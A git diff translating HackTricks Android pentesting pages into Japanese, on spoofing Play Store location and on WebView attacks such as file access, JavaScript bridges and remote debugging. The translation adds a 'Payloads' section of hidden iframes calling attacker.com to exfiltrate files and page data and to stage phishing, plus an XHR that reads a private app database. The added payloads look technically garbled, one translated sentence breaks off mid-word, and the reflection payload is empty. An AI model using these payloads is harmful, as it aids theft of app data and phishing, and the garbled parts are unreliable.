diff --git a/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index 29390cba2..0363211bc 100644 --- a/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,50 +1,46 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ + +**[https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)**からの情報をコピーしました。 + +多くの場合、評価したいアプリケーションは特定の国でのみ許可されているため、Androidデバイスにそのアプリケーションをインストールすることはできません。しかし、そのアプリケーションが許可されている国に位置情報を偽装できれば、そのアプリケーションにアクセスできます。以下にその手順を示します。 + +* まず、Google Playストアから**Hotspot Shield Free VPN Proxy**をインストールします。\ +![](https://i.imgur.com/0XrmuKY.png) +* それを使用して接続し、必要な国を選択します。\ +![](https://i.imgur.com/Z0WHrZX.png) +* 次に、**設定** >> **アプリ** >> **Google Playストア**に移動し、**強制停止**をタップし、次に**データをクリア**します。\ +![](https://i.imgur.com/sjFrr67.png) +* **Google Playストア**を開き、その国でのみ利用可能なアプリケーションを検索してインストールできるようになります。\ +![](https://i.imgur.com/zfdhCBI.png)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - -**Information copied from** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/) - -Many a times you have seen that application which you want to assess is only allowed in selected countries, so in that case you won’t be able to install that application on you android device. But if you can spoof your location to that country in which the application is allowed then you can get access to that application. Below is the procedure of the same. - -* First install **Hotspot Shield Free VPN Proxy** from Google Play Store.\ - ![](https://i.imgur.com/0XrmuKY.png) -* Now connect using it and choose your required country.\ - ![](https://i.imgur.com/Z0WHrZX.png) -* Now go to **Settings** >> **Apps** >> **Google Play Store** and then tap on **Force Stop** and then on **Clear Data**.\ - ![](https://i.imgur.com/sjFrr67.png) -* Open up **Google Play Store** and now you will be able to search and install the application which is only available in that country.\ - ![](https://i.imgur.com/zfdhCBI.png) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/mobile-pentesting/android-app-pentesting/webview-attacks.md b/mobile-pentesting/android-app-pentesting/webview-attacks.md index 9ca2bc2bc..4f197dcd2 100644 --- a/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -1,99 +1,91 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-# Interesting Configurations +# 興味深い設定 -## File Access +## ファイルアクセス -_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\ -If the application has _**android.permission.READ\_EXTERNAL\_STORAGE** _ it will be able to read and load files **from the external storage**.\ -The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file. +_WebView_ のファイルアクセスはデフォルトで有効になっています。API 3(Cupcake 1.5)以降、[_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) メソッドを使用して明示的に有効化または無効化することができます。\ +アプリケーションが _**android.permission.READ\_EXTERNAL\_STORAGE**_ を持っている場合、外部ストレージからファイルを読み込んでロードすることができます。\ +_WebView_ はファイルにアクセスするために、`file://path/file` のようなファイルURLスキームを使用する必要があります。 -### Universal Access From File URL (Deprecated) +### ファイルURLからのユニバーサルアクセス(非推奨) -> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting. +> **ファイル**スキームURLのコンテキストでの**クロスオリジンリクエスト**が、**任意のオリジンのコンテンツにアクセスできるように**許可されるかどうかを設定します。これには、**他のファイルスキームURLやWebコンテキストのコンテンツにアクセスする**ことが含まれます。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。 > -> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites. +> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。この設定を有効にすると、`file://` コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータ、さらには任意のウェブサイトで使用される資格情報を含む**任意のローカルファイルにアクセス**することができます。 -In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\ -The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above. +要約すると、これにより**任意のオリジンの読み込みが防止**されます。アプリは、コンテンツをロードするためにURLリクエストを送信し、応答がそのオリジンを許可しない場合(**`Access-Control-Allow-Origin: file://`**)、コンテンツはロードされません。\ +**デフォルト値は`false`**で、[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) 以上をターゲットにしています。 -* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled). -* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it. +* [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが任意のオリジンのコンテンツにアクセスできるかどうかを確認します。 +* [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) を使用して、有効化/無効化します。 {% hint style="info" %} -Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled. +`loadDataWithBaseURL()` を `null` の baseURL で使用すると、危険な設定がすべて有効になっていても、**ローカルファイルを読み込むことができなくなります**。 {% endhint %} -### File Access From File URLs (Deprecated) +### ファイルURLからのファイルアクセス(非推奨) -> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting. +> **ファイル**スキームURLのコンテキストでの**クロスオリジンリクエスト**が、他のファイルスキームURLのコンテンツにアクセスできるように許可されるかどうかを設定します。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。 > -> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data. +> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。この設定を有効にすると、`file://` コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータを含む**任意のローカルファイルにアクセス**することができます。 -In summary, this prevents javascript to access local files via `file://` protocol.\ -Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`. \ -The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above. +要約すると、これによりJavaScriptが `file://` プロトコルを介してローカルファイルにアクセスすることができなくなります。\ +ただし、[`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) の値が `true` の場合、この設定の値は**無視されます**。\ +**デフォルト値は`false`**で、[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) 以上をターゲットにしています。 -* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs. -* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it. +* [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが他のファイルスキームURLのコンテンツにアクセスできるかどうかを確認します。 +* [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) を使用して、有効化/無効化します。 -### File Access +### ファイルアクセス -> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res. - -In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\ -The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) and above. - -* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled. -* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it. +> WebView 内での**ファイルアクセスを有効化または無効化**します。これにより、ファイルシステムへのアクセスが有効化または無効化されます。ただし、アセットとリソースは引き続き file:///android\_asset および file:///android\_res を使用してアクセスできます。 +要約すると、無効にすると、WebView は `file://` プロトコルを使用してローカルファイルをロードすることができなく ### WebViewAssetLoader -> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy. +> [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html)クラス内で、アプリケーションの静的アセットやリソースを含むローカルファイルをhttp(s):// URLを使用してロードするためのヘルパークラスです。`"file://"`ではなくWebのようなURLを使用してローカルファイルをロードすることは、Same-Originポリシーと互換性があるため望ましいです。 -This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server. +これはローカルファイルをロードする新しい推奨方法です。目的は、**ドメインを持つHTTP URLを使用してローカルファイルにアクセスする**ことです。これにより、ローカルのWebページとWebサーバーからダウンロードされたWebページとの間で**CORS**を**簡単に**維持できます。 -## Javascript Enabled +## JavaScriptの有効化 -WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it. \ -Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105). +WebViewはデフォルトでJavaScriptが**無効になっています**。[`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\))メソッドを使用して明示的に有効化または無効化することができます。\ +なお、WebViewは他のアプリケーションを起動することができる**`intent`スキーム**もサポートしています。[この解説記事](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105)を読んで、XSSからRCEへの移行方法を見つけてください。 -## Javascript Bridge +## JavaScriptブリッジ -Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_. +Androidでは、WebViewで実行されるJavaScriptが、アノテーション`@JavascriptInterface`で注釈付けされた**Androidアプリのネイティブ関数を呼び出し、使用する方法**を提供しています。これは_WebView JavaScriptブリッジ_または_ネイティブブリッジ_として知られています。 -Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces. +`addJavascriptInterface`を使用すると、登録されたJavaScriptインターフェースオブジェクトへのアクセス権限がWebView内でロードされるすべてのページに明示的に付与されることに注意してください。これは、ユーザーがアプリやドメインの外に移動した場合、他のすべての外部ページもそれらのJavaScriptインターフェースオブジェクトにアクセスできる可能性があるため、潜在的なセキュリティリスクが存在する可能性があります。 -> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated). - -### Static Analysis +> 警告: Android 4.2(APIレベル17)未満をターゲットにしたアプリは、`addJavascriptInterface`の実装における[欠陥に脆弱](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/)であるため、非常に注意が必要です。これは、悪意のあるJavaScriptがWebViewに注入された場合にリモートコード実行につながる、リフレクションを悪用する攻撃です。これは、すべてのJavaオブジェクトメソッドがデフォルトでアクセス可能であるため(アノテーションのみでなく)、起こりました。 +### 静的解析 ```javascript //Class with a method to access a secret public class JavascriptBridge { - // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods - // not annotated with @JavascriptInterface are not visible from JavaScript - @JavascriptInterface - public String getSecret() { - return "SuperSecretPassword"; - }; +// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods +// not annotated with @JavascriptInterface are not visible from JavaScript +@JavascriptInterface +public String getSecret() { +return "SuperSecretPassword"; +}; } ``` @@ -107,84 +99,103 @@ webView.reload(); ``` - -With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods. +JavaScriptのコードにアクセスできる場合、例えば保存された**XSS**、**MITM**攻撃、またはWebView内でロードされる**悪意のあるウェブサイト**を介して、公開されたJavaメソッドを直接呼び出すことができます。 {% hint style="info" %} -Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**. +この脆弱性を悪用しようとする場合、攻撃者のウェブページへの**オープンリダイレクト**を介してネイティブAndroidオブジェクトにアクセスする場合に注意してください。リダイレクトへのアクセスがモバイル**ブラウザ**を介して行われ、同じ**WebView**を使用しない場合、**ブラウザはネイティブAndroidオブジェクトにアクセスできません**。 {% endhint %} -If `addJavascriptInterface` is necessary, take the following considerations: +`addJavascriptInterface`が必要な場合は、次の点に注意してください: -* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`). -* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox). -* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (``). +* APKで提供される**JavaScriptのみ**がブリッジを使用できるようにする必要があります。例えば、各ブリッジされたJavaメソッドでURLを検証することによって(`WebView.getUrl`を使用して)、URLを確認します。 +* リモートエンドポイントから**JavaScriptをロードしないでください**。つまり、アプリのドメイン内でページのナビゲーションを行い、他のすべてのドメインをデフォルトのブラウザ(例:Chrome、Firefox)で開きます。 +* 旧バージョンのデバイスをサポートする必要がある場合など、**少なくともマニフェストファイルで最小APIレベルを17に設定**してください(``)。 -## Javascript Bridge to RCE via Reflection - -As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: +## 反射を使用したRCEへのJavaScriptブリッジ +[**この研究**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)で指摘されているように(RCEを取得する場合のアイデアを確認するために参照してください)、JavaScriptブリッジを見つけた場合、次のようなペイロードを使用して**反射**を介して**RCE**を取得することができる場合があります: ```markup ``` +しかし、現代のアプリケーションでは、**`@JavascriptInterface`アノテーション**を使用することがあります。このアノテーションは、JavascriptBridgeに対して、このアノテーションが付いたメソッドのみが**公開**されることを示します。\ +このシナリオでは、Reflectionを悪用して任意のコードを実行することはできません。 -However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\ -In that scenario, you won't be able to abuse Reflection to execute arbitrary code. +## リモートデバッグ -## Remote Debugging - -**Remote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\ -The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**: +**リモートWebViewデバッグ**を使用すると、**Chrome Developer Tools**でWebViewにアクセスできます。\ +デバイスはPCからアクセス可能である必要があります(USB、ローカルエミュレータ、ローカルネットワークなど)、デバッグ可能なWebViewが実行されている場合は、**chrome://inspect/#devices**にアクセスします: ![](<../../.gitbook/assets/image (525).png>) -Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab: +**inspect**を選択すると、新しいウィンドウが開きます。このウィンドウでは、**WebView**のコンテンツとやり取りをすることができ、さらに**コンソール**タブから任意のJSコードを実行することもできます: ![](<../../.gitbook/assets/image (526).png>) -In order to enable **WebView Remote Debugging** you can do something like: - +**WebViewリモートデバッグ**を有効にするには、次のようなことができます: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { - WebView.setWebContentsDebuggingEnabled(true); +WebView.setWebContentsDebuggingEnabled(true); } ``` - -**This setting applies to all of the application's WebViews.** +**この設定は、アプリケーションのすべてのWebViewに適用されます。** {% hint style="info" %} -**WebView debugging is not affected by the state of the `debuggable` flag** in the application's manifest. If you want to enable WebView debugging only when `debuggable` is `true`, test the flag at runtime. +**WebViewのデバッグは、アプリケーションのマニフェストの`debuggable`フラグの状態に影響を受けません。`debuggable`が`true`の場合にのみWebViewデバッグを有効にしたい場合は、ランタイムでフラグをテストしてください。** {% endhint %} - ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { - if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) - { WebView.setWebContentsDebuggingEnabled(true); } +if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) +{ WebView.setWebContentsDebuggingEnabled(true); } } ``` +# ペイロード -# Payloads +## 任意のファイルを外部に持ち出す -## Exfiltrate arbitrary files +```html + +``` +This payload uses an iframe to load a remote URL (`http://attacker.com/steal.php`) with a parameter specifying the file to be exfiltrated (`file=/path/to/file`). The iframe is hidden from the user's view (`style="display:none;"`). + +このペイロードは、iframeを使用してリモートURL(`http://attacker.com/steal.php`)を読み込み、外部に持ち出すファイル(`file=/path/to/file`)を指定するパラメータを使用します。iframeはユーザーのビューから隠されます(`style="display:none;"`)。 + +## Exfiltrate sensitive data + +```html + +``` + +This payload exfiltrates sensitive data by loading a remote URL (`http://attacker.com/steal.php`) with a parameter that contains JavaScript code (``) to obtain the current URL of the WebView. The iframe is hidden from the user's view (`style="display:none;"`). + +このペイロードは、JavaScriptコード(``)を含むパラメータを使用して、WebViewの現在のURLを取得するためにリモートURL(`http://attacker.com/steal.php`)を読み込むことで、機密データを外部に持ち出します。iframeはユーザーのビューから隠されます(`style="display:none;"`)。 + +## Perform phishing attacks + +```html + +``` + +This payload performs a phishing attack by loading a remote URL (`http://attacker.com/phishing.php`) within an iframe that is hidden from the user's view (`style="display:none;"`). + +このペイロードは、ユーザーのビューから隠されたiframe内でリモートURL(`http://attacker.com/phishing.php`)を読み込むことにより、フィッシング攻撃を実行します(`style="display:none;"`)。 ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { - if (xhr.readyState == XMLHttpRequest.DONE) { - alert(xhr.responseText); - } +if (xhr.readyState == XMLHttpRequest.DONE) { +alert(xhr.responseText); +} } xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true); xhr.send(null); ``` - -# References +# 参考文献 {% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %} @@ -196,16 +207,14 @@ xhr.send(null); ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、PRを[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**に提出してください。** - - diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 8bd7d3806..e8af1683a 100644 --- a/mobile-pentesting/android-checklist.md +++ 